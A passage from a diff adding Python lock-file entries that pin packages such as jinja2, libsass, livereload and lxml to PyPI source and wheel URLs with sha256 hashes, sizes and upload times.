+sdist = { url = "https://files.pythonhosted.org/packages/cf/8c/f834fbf984f691b4f7ff60f50b514cc3de5cc08abfc3295564dd89c5e2e7/importlib_resources-6.5.2.tar.gz", hash = "sha256:185f87adef5bcc288449d98fb4fba07cea78bc036455dd44c5fc4a2fe78fed2c", size = 44693, upload-time = "2025-01-03T18:51:56.698Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/a4/ed/1f1afb2e9e7f38a545d628f864d562a5ae64fe6f7a10e28ffb9b185b4e89/importlib_resources-6.5.2-py3-none-any.whl", hash = "sha256:789cfdc3ed28c78b67a06acb8126751ced69a3d5f79c095a98298cd8a760ccec", size = 37461, upload-time = "2025-01-03T18:51:54.306Z" },
+]
+
+[[package]]
+name = "iniconfig"
+version = "2.3.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/72/34/14ca021ce8e5dfedc35312d08ba8bf51fdd999c576889fc2c24cb97f4f10/iniconfig-2.3.0.tar.gz", hash = "sha256:c76315c77db068650d49c5b56314774a7804df16fee4402c1f19d6d15d8c4730", size = 20503, upload-time = "2025-10-18T21:55:43.219Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/cb/b1/3846dd7f199d53cb17f49cba7e651e9ce294d8497c8c150530ed11865bb8/iniconfig-2.3.0-py3-none-any.whl", hash = "sha256:f631c04d2c48c52b84d0d0549c99ff3859c98df65b3101406327ecc7d53fbf12", size = 7484, upload-time = "2025-10-18T21:55:41.639Z" },
+]
+
+[[package]]
+name = "jinja2"
+version = "3.1.6"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "markupsafe" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/df/bf/f7da0350254c0ed7c72f3e33cef02e048281fec7ecec5f032d4aac52226b/jinja2-3.1.6.tar.gz", hash = "sha256:0137fb05990d35f1275a587e9aee6d56da821fc83491a0fb838183be43f66d6d", size = 245115, upload-time = "2025-03-05T20:05:02.478Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/62/a1/3d680cbfd5f4b8f15abc1d571870c5fc3e594bb582bc3b64ea099db13e56/jinja2-3.1.6-py3-none-any.whl", hash = "sha256:85ece4451f492d0c13c5dd7c13a64681a86afae63a5f347908daf103ce6d2f67", size = 134899, upload-time = "2025-03-05T20:05:00.369Z" },
+]
+
+[[package]]
+name = "libsass"
+version = "0.23.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/79/b4/ab091585eaa77299558e3289ca206846aefc123fb320b5656ab2542c20ad/libsass-0.23.0.tar.gz", hash = "sha256:6f209955ede26684e76912caf329f4ccb57e4a043fd77fe0e7348dd9574f1880", size = 316068, upload-time = "2024-01-06T18:53:05.404Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/e5/13/fc1bea1de880ca935137183727c7d4dd921c4128fc08b8ddc3698ba5a8a3/libsass-0.23.0-cp38-abi3-macosx_11_0_x86_64.whl", hash = "sha256:34cae047cbbfc4ffa832a61cbb110f3c95f5471c6170c842d3fed161e40814dc", size = 1086783, upload-time = "2024-01-06T19:02:38.903Z" },
+    { url = "https://files.pythonhosted.org/packages/55/2f/6af938651ff3aec0a0b00742209df1172bc297fa73531f292801693b7315/libsass-0.23.0-cp38-abi3-macosx_14_0_arm64.whl", hash = "sha256:ea97d1b45cdc2fc3590cb9d7b60f1d8915d3ce17a98c1f2d4dd47ee0d9c68ce6", size = 982759, upload-time = "2024-01-06T19:02:41.331Z" },
+    { url = "https://files.pythonhosted.org/packages/fd/5a/eb5b62641df0459a3291fc206cf5bd669c0feed7814dded8edef4ade8512/libsass-0.23.0-cp38-abi3-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:4a218406d605f325d234e4678bd57126a66a88841cb95bee2caeafdc6f138306", size = 9444543, upload-time = "2024-01-06T19:02:43.191Z" },
+    { url = "https://files.pythonhosted.org/packages/e5/fc/275783f5120970d859ae37d04b6a60c13bdec2aa4294b9dfa8a37b5c2513/libsass-0.23.0-cp38-abi3-win32.whl", hash = "sha256:31e86d92a5c7a551df844b72d83fc2b5e50abc6fbbb31e296f7bebd6489ed1b4", size = 775481, upload-time = "2024-01-06T19:02:46.05Z" },
+    { url = "https://files.pythonhosted.org/packages/ef/20/caf3c7cf2432d85263119798c45221ddf67bdd7dae8f626d14ff8db04040/libsass-0.23.0-cp38-abi3-win_amd64.whl", hash = "sha256:a2ec85d819f353cbe807432d7275d653710d12b08ec7ef61c124a580a8352f3c", size = 872914, upload-time = "2024-01-06T19:02:47.61Z" },
+]
+
+[[package]]
+name = "livereload"
+version = "2.7.1"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "tornado" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/43/6e/f2748665839812a9bbe5c75d3f983edbf3ab05fa5cd2f7c2f36fffdf65bd/livereload-2.7.1.tar.gz", hash = "sha256:3d9bf7c05673df06e32bea23b494b8d36ca6d10f7d5c3c8a6989608c09c986a9", size = 22255, upload-time = "2024-12-18T13:42:01.461Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/e4/3e/de54dc7f199e85e6ca37e2e5dae2ec3bce2151e9e28f8eb9076d71e83d56/livereload-2.7.1-py3-none-any.whl", hash = "sha256:5201740078c1b9433f4b2ba22cd2729a39b9d0ec0a2cc6b4d3df257df5ad0564", size = 22657, upload-time = "2024-12-18T13:41:56.35Z" },
+]
+
+[[package]]
+name = "lockfile"
+version = "0.12.2"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/17/47/72cb04a58a35ec495f96984dddb48232b551aafb95bde614605b754fe6f7/lockfile-0.12.2.tar.gz", hash = "sha256:6aed02de03cba24efabcd600b30540140634fc06cfa603822d508d5361e9f799", size = 20874, upload-time = "2015-11-25T18:29:58.279Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/c8/22/9460e311f340cb62d26a38c419b1381b8593b0bb6b5d1f056938b086d362/lockfile-0.12.2-py2.py3-none-any.whl", hash = "sha256:6c3cb24f344923d30b2785d5ad75182c8ea7ac1b6171b08657258ec7429d50fa", size = 13564, upload-time = "2015-11-25T18:29:51.462Z" },
+]
+
+[[package]]
+name = "lxml"
+version = "6.0.2"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/aa/88/262177de60548e5a2bfc46ad28232c9e9cbde697bd94132aeb80364675cb/lxml-6.0.2.tar.gz", hash = "sha256:cd79f3367bd74b317dda655dc8fcfa304d9eb6e4fb06b7168c5cf27f96e0cd62", size = 4073426, upload-time = "2025-09-22T04:04:59.287Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/db/8a/f8192a08237ef2fb1b19733f709db88a4c43bc8ab8357f01cb41a27e7f6a/lxml-6.0.2-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:e77dd455b9a16bbd2a5036a63ddbd479c19572af81b624e79ef422f929eef388", size = 8590589, upload-time = "2025-09-22T04:00:10.51Z" },
+    { url = "https://files.pythonhosted.org/packages/12/64/27bcd07ae17ff5e5536e8d88f4c7d581b48963817a13de11f3ac3329bfa2/lxml-6.0.2-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:5d444858b9f07cefff6455b983aea9a67f7462ba1f6cbe4a21e8bf6791bf2153", size = 4629671, upload-time = "2025-09-22T04:00:15.411Z" },
+    { url = "https://files.pythonhosted.org/packages/02/5a/a7d53b3291c324e0b6e48f3c797be63836cc52156ddf8f33cd72aac78866/lxml-6.0.2-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:f952dacaa552f3bb8834908dddd500ba7d508e6ea6eb8c52eb2d28f48ca06a31", size = 4999961, upload-time = "2025-09-22T04:00:17.619Z" },
+    { url = "https://files.pythonhosted.org/packages/f5/55/d465e9b89df1761674d8672bb3e4ae2c47033b01ec243964b6e334c6743f/lxml-6.0.2-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:71695772df6acea9f3c0e59e44ba8ac50c4f125217e84aab21074a1a55e7e5c9", size = 5157087, upload-time = "2025-09-22T04:00:19.868Z" },
+    { url = "https://files.pythonhosted.org/packages/62/38/3073cd7e3e8dfc3ba3c3a139e33bee3a82de2bfb0925714351ad3d255c13/lxml-6.0.2-cp310-cp310-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:17f68764f35fd78d7c4cc4ef209a184c38b65440378013d24b8aecd327c3e0c8", size = 5067620, upload-time = "2025-09-22T04:00:21.877Z" },
+    { url = "https://files.pythonhosted.org/packages/4a/d3/1e001588c5e2205637b08985597827d3827dbaaece16348c8822bfe61c29/lxml-6.0.2-cp310-cp310-manylinux_2_26_i686.manylinux_2_28_i686.whl", hash = "sha256:058027e261afed589eddcfe530fcc6f3402d7fd7e89bfd0532df82ebc1563dba", size = 5406664, upload-time = "2025-09-22T04:00:23.714Z" },
+    { url = "https://files.pythonhosted.org/packages/20/cf/cab09478699b003857ed6ebfe95e9fb9fa3d3c25f1353b905c9b73cfb624/lxml-6.0.2-cp310-cp310-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a8ffaeec5dfea5881d4c9d8913a32d10cfe3923495386106e4a24d45300ef79c", size = 5289397, upload-time = "2025-09-22T04:00:25.544Z" },
+    { url = "https://files.pythonhosted.org/packages/a3/84/02a2d0c38ac9a8b9f9e5e1bbd3f24b3f426044ad618b552e9549ee91bd63/lxml-6.0.2-cp310-cp310-manylinux_2_31_armv7l.whl", hash = "sha256:f2e3b1a6bb38de0bc713edd4d612969dd250ca8b724be8d460001a387507021c", size = 4772178, upload-time = "2025-09-22T04:00:27.602Z" },
+    { url = "https://files.pythonhosted.org/packages/56/87/e1ceadcc031ec4aa605fe95476892d0b0ba3b7f8c7dcdf88fdeff59a9c86/lxml-6.0.2-cp310-cp310-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:d6690ec5ec1cce0385cb20896b16be35247ac8c2046e493d03232f1c2414d321", size = 5358148, upload-time = "2025-09-22T04:00:29.323Z" },
+    { url = "https://files.pythonhosted.org/packages/fe/13/5bb6cf42bb228353fd4ac5f162c6a84fd68a4d6f67c1031c8cf97e131fc6/lxml-6.0.2-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:f2a50c3c1d11cad0ebebbac357a97b26aa79d2bcaf46f256551152aa85d3a4d1", size = 5112035, upload-time = "2025-09-22T04:00:31.061Z" },
+    { url = "https://files.pythonhosted.org/packages/e4/e2/ea0498552102e59834e297c5c6dff8d8ded3db72ed5e8aad77871476f073/lxml-6.0.2-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:3efe1b21c7801ffa29a1112fab3b0f643628c30472d507f39544fd48e9549e34", size = 4799111, upload-time = "2025-09-22T04:00:33.11Z" },
+    { url = "https://files.pythonhosted.org/packages/6a/9e/8de42b52a73abb8af86c66c969b3b4c2a96567b6ac74637c037d2e3baa60/lxml-6.0.2-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:59c45e125140b2c4b33920d21d83681940ca29f0b83f8629ea1a2196dc8cfe6a", size = 5351662, upload-time = "2025-09-22T04:00:35.237Z" },
+    { url = "https://files.pythonhosted.org/packages/28/a2/de776a573dfb15114509a37351937c367530865edb10a90189d0b4b9b70a/lxml-6.0.2-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:452b899faa64f1805943ec1c0c9ebeaece01a1af83e130b69cdefeda180bb42c", size = 5314973, upload-time = "2025-09-22T04:00:37.086Z" },
+    { url = "https://files.pythonhosted.org/packages/50/a0/3ae1b1f8964c271b5eec91db2043cf8c6c0bce101ebb2a633b51b044db6c/lxml-6.0.2-cp310-cp310-win32.whl", hash = "sha256:1e786a464c191ca43b133906c6903a7e4d56bef376b75d97ccbb8ec5cf1f0a4b", size = 3611953, upload-time = "2025-09-22T04:00:39.224Z" },
+    { url = "https://files.pythonhosted.org/packages/d1/70/bd42491f0634aad41bdfc1e46f5cff98825fb6185688dc82baa35d509f1a/lxml-6.0.2-cp310-cp310-win_amd64.whl", hash = "sha256:dacf3c64ef3f7440e3167aa4b49aa9e0fb99e0aa4f9ff03795640bf94531bcb0", size = 4032695, upload-time = "2025-09-22T04:00:41.402Z" },
+    { url = "https://files.pythonhosted.org/packages/d2/d0/05c6a72299f54c2c561a6c6cbb2f512e047fca20ea97a05e57931f194ac4/lxml-6.0.2-cp310-cp310-win_arm64.whl", hash = "sha256:45f93e6f75123f88d7f0cfd90f2d05f441b808562bf0bc01070a00f53f5028b5", size = 3680051, upload-time = "2025-09-22T04:00:43.525Z" },
+    { url = "https://files.pythonhosted.org/packages/77/d5/becbe1e2569b474a23f0c672ead8a29ac50b2dc1d5b9de184831bda8d14c/lxml-6.0.2-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:13e35cbc684aadf05d8711a5d1b5857c92e5e580efa9a0d2be197199c8def607", size = 8634365, upload-time = "2025-09-22T04:00:45.672Z" },
+    { url = "https://files.pythonhosted.org/packages/28/66/1ced58f12e804644426b85d0bb8a4478ca77bc1761455da310505f1a3526/lxml-6.0.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:3b1675e096e17c6fe9c0e8c81434f5736c0739ff9ac6123c87c2d452f48fc938", size = 4650793, upload-time = "2025-09-22T04:00:47.783Z" },
+    { url = "https://files.pythonhosted.org/packages/11/84/549098ffea39dfd167e3f174b4ce983d0eed61f9d8d25b7bf2a57c3247fc/lxml-6.0.2-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:8ac6e5811ae2870953390452e3476694196f98d447573234592d30488147404d", size = 4944362, upload-time = "2025-09-22T04:00:49.845Z" },
+    { url = "https://files.pythonhosted.org/packages/ac/bd/f207f16abf9749d2037453d56b643a7471d8fde855a231a12d1e095c4f01/lxml-6.0.2-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:5aa0fc67ae19d7a64c3fe725dc9a1bb11f80e01f78289d05c6f62545affec438", size = 5083152, upload-time = "2025-09-22T04:00:51.709Z" },
+    { url = "https://files.pythonhosted.org/packages/15/ae/bd813e87d8941d52ad5b65071b1affb48da01c4ed3c9c99e40abb266fbff/lxml-6.0.2-cp311-cp311-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:de496365750cc472b4e7902a485d3f152ecf57bd3ba03ddd5578ed8ceb4c5964", size = 5023539, upload-time = "2025-09-22T04:00:53.593Z" },
+    { url = "https://files.pythonhosted.org/packages/02/cd/9bfef16bd1d874fbe0cb51afb00329540f30a3283beb9f0780adbb7eec03/lxml-6.0.2-cp311-cp311-manylinux_2_26_i686.manylinux_2_28_i686.whl", hash = "sha256:200069a593c5e40b8f6fc0d84d86d970ba43138c3e68619ffa234bc9bb806a4d", size = 5344853, upload-time = "2025-09-22T04:00:55.524Z" },
+    { url = "https://files.pythonhosted.org/packages/b8/89/ea8f91594bc5dbb879734d35a6f2b0ad50605d7fb419de2b63d4211765cc/lxml-6.0.2-cp311-cp311-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:7d2de809c2ee3b888b59f995625385f74629707c9355e0ff856445cdcae682b7", size = 5225133, upload-time = "2025-09-22T04:00:57.269Z" },
+    { url = "https://files.pythonhosted.org/packages/b9/37/9c735274f5dbec726b2db99b98a43950395ba3d4a1043083dba2ad814170/lxml-6.0.2-cp311-cp311-manylinux_2_31_armv7l.whl", hash = "sha256:b2c3da8d93cf5db60e8858c17684c47d01fee6405e554fb55018dd85fc23b178", size = 4677944, upload-time = "2025-09-22T04:00:59.052Z" },
+    { url = "https://files.pythonhosted.org/packages/20/28/7dfe1ba3475d8bfca3878365075abe002e05d40dfaaeb7ec01b4c587d533/lxml-6.0.2-cp311-cp311-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:442de7530296ef5e188373a1ea5789a46ce90c4847e597856570439621d9c553", size = 5284535, upload-time = "2025-09-22T04:01:01.335Z" },
+    { url = "https://files.pythonhosted.org/packages/e7/cf/5f14bc0de763498fc29510e3532bf2b4b3a1c1d5d0dff2e900c16ba021ef/lxml-6.0.2-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:2593c77efde7bfea7f6389f1ab249b15ed4aa5bc5cb5131faa3b843c429fbedb", size = 5067343, upload-time = "2025-09-22T04:01:03.13Z" },
+    { url = "https://files.pythonhosted.org/packages/1c/b0/bb8275ab5472f32b28cfbbcc6db7c9d092482d3439ca279d8d6fa02f7025/lxml-6.0.2-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:3e3cb08855967a20f553ff32d147e14329b3ae70ced6edc2f282b94afbc74b2a", size = 4725419, upload-time = "2025-09-22T04:01:05.013Z" },
+    { url = "https://files.pythonhosted.org/packages/25/4c/7c222753bc72edca3b99dbadba1b064209bc8ed4ad448af990e60dcce462/lxml-6.0.2-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:2ed6c667fcbb8c19c6791bbf40b7268ef8ddf5a96940ba9404b9f9a304832f6c", size = 5275008, upload-time = "2025-09-22T04:01:07.327Z" },
+    { url = "https://files.pythonhosted.org/packages/6c/8c/478a0dc6b6ed661451379447cdbec77c05741a75736d97e5b2b729687828/lxml-6.0.2-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:b8f18914faec94132e5b91e69d76a5c1d7b0c73e2489ea8929c4aaa10b76bbf7", size = 5248906, upload-time = "2025-09-22T04:01:09.452Z" },
+    { url = "https://files.pythonhosted.org/packages/2d/d9/5be3a6ab2784cdf9accb0703b65e1b64fcdd9311c9f007630c7db0cfcce1/lxml-6.0.2-cp311-cp311-win32.whl", hash = "sha256:6605c604e6daa9e0d7f0a2137bdc47a2e93b59c60a65466353e37f8272f47c46", size = 3610357, upload-time = "2025-09-22T04:01:11.102Z" },
+    { url = "https://files.pythonhosted.org/packages/e2/7d/ca6fb13349b473d5732fb0ee3eec8f6c80fc0688e76b7d79c1008481bf1f/lxml-6.0.2-cp311-cp311-win_amd64.whl", hash = "sha256:e5867f2651016a3afd8dd2c8238baa66f1e2802f44bc17e236f547ace6647078", size = 4036583, upload-time = "2025-09-22T04:01:12.766Z" },
+    { url = "https://files.pythonhosted.org/packages/ab/a2/51363b5ecd3eab46563645f3a2c3836a2fc67d01a1b87c5017040f39f567/lxml-6.0.2-cp311-cp311-win_arm64.whl", hash = "sha256:4197fb2534ee05fd3e7afaab5d8bfd6c2e186f65ea7f9cd6a82809c887bd1285", size = 3680591, upload-time = "2025-09-22T04:01:14.874Z" },
+    { url = "https://files.pythonhosted.org/packages/f3/c8/8ff2bc6b920c84355146cd1ab7d181bc543b89241cfb1ebee824a7c81457/lxml-6.0.2-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:a59f5448ba2ceccd06995c95ea59a7674a10de0810f2ce90c9006f3cbc044456", size = 8661887, upload-time = "2025-09-22T04:01:17.265Z" },
+    { url = "https://files.pythonhosted.org/packages/37/6f/9aae1008083bb501ef63284220ce81638332f9ccbfa53765b2b7502203cf/lxml-6.0.2-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:e8113639f3296706fbac34a30813929e29247718e88173ad849f57ca59754924", size = 4667818, upload-time = "2025-09-22T04:01:19.688Z" },
+    { url = "https://files.pythonhosted.org/packages/f1/ca/31fb37f99f37f1536c133476674c10b577e409c0a624384147653e38baf2/lxml-6.0.2-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:a8bef9b9825fa8bc816a6e641bb67219489229ebc648be422af695f6e7a4fa7f", size = 4950807, upload-time = "2025-09-22T04:01:21.487Z" },
+    { url = "https://files.pythonhosted.org/packages/da/87/f6cb9442e4bada8aab5ae7e1046264f62fdbeaa6e3f6211b93f4c0dd97f1/lxml-6.0.2-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:65ea18d710fd14e0186c2f973dc60bb52039a275f82d3c44a0e42b43440ea534", size = 5109179, upload-time = "2025-09-22T04:01:23.32Z" },
+    { url = "https://files.pythonhosted.org/packages/c8/20/a7760713e65888db79bbae4f6146a6ae5c04e4a204a3c48896c408cd6ed2/lxml-6.0.2-cp312-cp312-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c371aa98126a0d4c739ca93ceffa0fd7a5d732e3ac66a46e74339acd4d334564", size = 5023044, upload-time = "2025-09-22T04:01:25.118Z" },
+    { url = "https://files.pythonhosted.org/packages/a2/b0/7e64e0460fcb36471899f75831509098f3fd7cd02a3833ac517433cb4f8f/lxml-6.0.2-cp312-cp312-manylinux_2_26_i686.manylinux_2_28_i686.whl", hash = "sha256:700efd30c0fa1a3581d80a748157397559396090a51d306ea59a70020223d16f", size = 5359685, upload-time = "2025-09-22T04:01:27.398Z" },
+    { url = "https://files.pythonhosted.org/packages/b9/e1/e5df362e9ca4e2f48ed6411bd4b3a0ae737cc842e96877f5bf9428055ab4/lxml-6.0.2-cp312-cp312-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:c33e66d44fe60e72397b487ee92e01da0d09ba2d66df8eae42d77b6d06e5eba0", size = 5654127, upload-time = "2025-09-22T04:01:29.629Z" },
+    { url = "https://files.pythonhosted.org/packages/c6/d1/232b3309a02d60f11e71857778bfcd4acbdb86c07db8260caf7d008b08f8/lxml-6.0.2-cp312-cp312-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:90a345bbeaf9d0587a3aaffb7006aa39ccb6ff0e96a57286c0cb2fd1520ea192", size = 5253958, upload-time = "2025-09-22T04:01:31.535Z" },
+    { url = "https://files.pythonhosted.org/packages/35/35/d955a070994725c4f7d80583a96cab9c107c57a125b20bb5f708fe941011/lxml-6.0.2-cp312-cp312-manylinux_2_31_armv7l.whl", hash = "sha256:064fdadaf7a21af3ed1dcaa106b854077fbeada827c18f72aec9346847cd65d0", size = 4711541, upload-time = "2025-09-22T04:01:33.801Z" },
+    { url = "https://files.pythonhosted.org/packages/1e/be/667d17363b38a78c4bd63cfd4b4632029fd68d2c2dc81f25ce9eb5224dd5/lxml-6.0.2-cp312-cp312-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:fbc74f42c3525ac4ffa4b89cbdd00057b6196bcefe8bce794abd42d33a018092", size = 5267426, upload-time = "2025-09-22T04:01:35.639Z" },
+    { url = "https://files.pythonhosted.org/packages/ea/47/62c70aa4a1c26569bc958c9ca86af2bb4e1f614e8c04fb2989833874f7ae/lxml-6.0.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:6ddff43f702905a4e32bc24f3f2e2edfe0f8fde3277d481bffb709a4cced7a1f", size = 5064917, upload-time = "2025-09-22T04:01:37.448Z" },
+    { url = "https://files.pythonhosted.org/packages/bd/55/6ceddaca353ebd0f1908ef712c597f8570cc9c58130dbb89903198e441fd/lxml-6.0.2-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:6da5185951d72e6f5352166e3da7b0dc27aa70bd1090b0eb3f7f7212b53f1bb8", size = 4788795, upload-time = "2025-09-22T04:01:39.165Z" },
+    { url = "https://files.pythonhosted.org/packages/cf/e8/fd63e15da5e3fd4c2146f8bbb3c14e94ab850589beab88e547b2dbce22e1/lxml-6.0.2-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:57a86e1ebb4020a38d295c04fc79603c7899e0df71588043eb218722dabc087f", size = 5676759, upload-time = "2025-09-22T04:01:41.506Z" },
+    { url = "https://files.pythonhosted.org/packages/76/47/b3ec58dc5c374697f5ba37412cd2728f427d056315d124dd4b61da381877/lxml-6.0.2-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:2047d8234fe735ab77802ce5f2297e410ff40f5238aec569ad7c8e163d7b19a6", size = 5255666, upload-time = "2025-09-22T04:01:43.363Z" },
+    { url = "https://files.pythonhosted.org/packages/19/93/03ba725df4c3d72afd9596eef4a37a837ce8e4806010569bedfcd2cb68fd/lxml-6.0.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:6f91fd2b2ea15a6800c8e24418c0775a1694eefc011392da73bc6cef2623b322", size = 5277989, upload-time = "2025-09-22T04:01:45.215Z" },
+    { url = "https://files.pythonhosted.org/packages/c6/80/c06de80bfce881d0ad738576f243911fccf992687ae09fd80b734712b39c/lxml-6.0.2-cp312-cp312-win32.whl", hash = "sha256:3ae2ce7d6fedfb3414a2b6c5e20b249c4c607f72cb8d2bb7cc9c6ec7c6f4e849", size = 3611456, upload-time = "2025-09-22T04:01:48.243Z" },
+    { url = "https://files.pythonhosted.org/packages/f7/d7/0cdfb6c3e30893463fb3d1e52bc5f5f99684a03c29a0b6b605cfae879cd5/lxml-6.0.2-cp312-cp312-win_amd64.whl", hash = "sha256:72c87e5ee4e58a8354fb9c7c84cbf95a1c8236c127a5d1b7683f04bed8361e1f", size = 4011793, upload-time = "2025-09-22T04:01:50.042Z" },
+    { url = "https://files.pythonhosted.org/packages/ea/7b/93c73c67db235931527301ed3785f849c78991e2e34f3fd9a6663ffda4c5/lxml-6.0.2-cp312-cp312-win_arm64.whl", hash = "sha256:61cb10eeb95570153e0c0e554f58df92ecf5109f75eacad4a95baa709e26c3d6", size = 3672836, upload-time = "2025-09-22T04:01:52.145Z" },
+    { url = "https://files.pythonhosted.org/packages/53/fd/4e8f0540608977aea078bf6d79f128e0e2c2bba8af1acf775c30baa70460/lxml-6.0.2-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:9b33d21594afab46f37ae58dfadd06636f154923c4e8a4d754b0127554eb2e77", size = 8648494, upload-time = "2025-09-22T04:01:54.242Z" },
+    { url = "https://files.pythonhosted.org/packages/5d/f4/2a94a3d3dfd6c6b433501b8d470a1960a20ecce93245cf2db1706adf6c19/lxml-6.0.2-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:6c8963287d7a4c5c9a432ff487c52e9c5618667179c18a204bdedb27310f022f", size = 4661146, upload-time = "2025-09-22T04:01:56.282Z" },
+    { url = "https://files.pythonhosted.org/packages/25/2e/4efa677fa6b322013035d38016f6ae859d06cac67437ca7dc708a6af7028/lxml-6.0.2-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:1941354d92699fb5ffe6ed7b32f9649e43c2feb4b97205f75866f7d21aa91452", size = 4946932, upload-time = "2025-09-22T04:01:58.989Z" },
+    { url = "https://files.pythonhosted.org/packages/ce/0f/526e78a6d38d109fdbaa5049c62e1d32fdd70c75fb61c4eadf3045d3d124/lxml-6.0.2-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:bb2f6ca0ae2d983ded09357b84af659c954722bbf04dea98030064996d156048", size = 5100060, upload-time = "2025-09-22T04:02:00.812Z" },
+    { url = "https://files.pythonhosted.org/packages/81/76/99de58d81fa702cc0ea7edae4f4640416c2062813a00ff24bd70ac1d9c9b/lxml-6.0.2-cp313-cp313-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:eb2a12d704f180a902d7fa778c6d71f36ceb7b0d317f34cdc76a5d05aa1dd1df", size = 5019000, upload-time = "2025-09-22T04:02:02.671Z" },
+    { url = "https://files.pythonhosted.org/packages/b5/35/9e57d25482bc9a9882cb0037fdb9cc18f4b79d85df94fa9d2a89562f1d25/lxml-6.0.2-cp313-cp313-manylinux_2_26_i686.manylinux_2_28_i686.whl", hash = "sha256:6ec0e3f745021bfed19c456647f0298d60a24c9ff86d9d051f52b509663feeb1", size = 5348496, upload-time = "2025-09-22T04:02:04.904Z" },
+    { url = "https://files.pythonhosted.org/packages/a6/8e/cb99bd0b83ccc3e8f0f528e9aa1f7a9965dfec08c617070c5db8d63a87ce/lxml-6.0.2-cp313-cp313-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:846ae9a12d54e368933b9759052d6206a9e8b250291109c48e350c1f1f49d916", size = 5643779, upload-time = "2025-09-22T04:02:06.689Z" },
+    { url = "https://files.pythonhosted.org/packages/d0/34/9e591954939276bb679b73773836c6684c22e56d05980e31d52a9a8deb18/lxml-6.0.2-cp313-cp313-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ef9266d2aa545d7374938fb5c484531ef5a2ec7f2d573e62f8ce722c735685fd", size = 5244072, upload-time = "2025-09-22T04:02:08.587Z" },
+    { url = "https://files.pythonhosted.org/packages/8d/27/b29ff065f9aaca443ee377aff699714fcbffb371b4fce5ac4ca759e436d5/lxml-6.0.2-cp313-cp313-manylinux_2_31_armv7l.whl", hash = "sha256:4077b7c79f31755df33b795dc12119cb557a0106bfdab0d2c2d97bd3cf3dffa6", size = 4718675, upload-time = "2025-09-22T04:02:10.783Z" },
+    { url = "https://files.pythonhosted.org/packages/2b/9f/f756f9c2cd27caa1a6ef8c32ae47aadea697f5c2c6d07b0dae133c244fbe/lxml-6.0.2-cp313-cp313-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:a7c5d5e5f1081955358533be077166ee97ed2571d6a66bdba6ec2f609a715d1a", size = 5255171, upload-time = "2025-09-22T04:02:12.631Z" },
+    { url = "https://files.pythonhosted.org/packages/61/46/bb85ea42d2cb1bd8395484fd72f38e3389611aa496ac7772da9205bbda0e/lxml-6.0.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:8f8d0cbd0674ee89863a523e6994ac25fd5be9c8486acfc3e5ccea679bad2679", size = 5057175, upload-time = "2025-09-22T04:02:14.718Z" },
